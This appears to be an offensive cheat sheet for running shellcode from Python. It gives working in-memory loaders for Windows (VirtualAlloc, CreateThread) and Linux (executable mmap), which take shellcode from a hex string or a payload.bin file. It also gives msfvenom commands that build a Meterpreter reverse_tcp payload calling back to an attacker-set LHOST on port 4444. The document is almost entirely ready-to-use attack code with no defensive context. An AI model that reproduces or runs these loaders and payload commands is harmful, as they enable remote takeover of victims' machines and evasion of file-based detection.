Python β€” Shellcode Execution

Execute hex-encoded payload in memory

import binascii, ctypes

hex_payload = "YOUR_HEX_STRING_HERE"
shellcode   = binascii.unhexlify(hex_payload)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    None, len(shellcode), 0x3000, 0x40)          # MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

Execute raw shellcode from file

import ctypes

with open("payload.bin", "rb") as f:
    shellcode = f.read()

ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

Generate matching payload

# Raw binary
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o payload.bin

# Hex string
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hex

Execute via mmap on Linux

import ctypes, mmap, struct

with open("payload.bin", "rb") as f:
    sc = f.read()

mm = mmap.mmap(-1, len(sc), prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC)
mm.write(sc)
mm.seek(0)
fn = ctypes.cast(ctypes.c_char_p(ctypes.addressof(ctypes.c_char.from_buffer(mm))),
                 ctypes.CFUNCTYPE(None))
fn()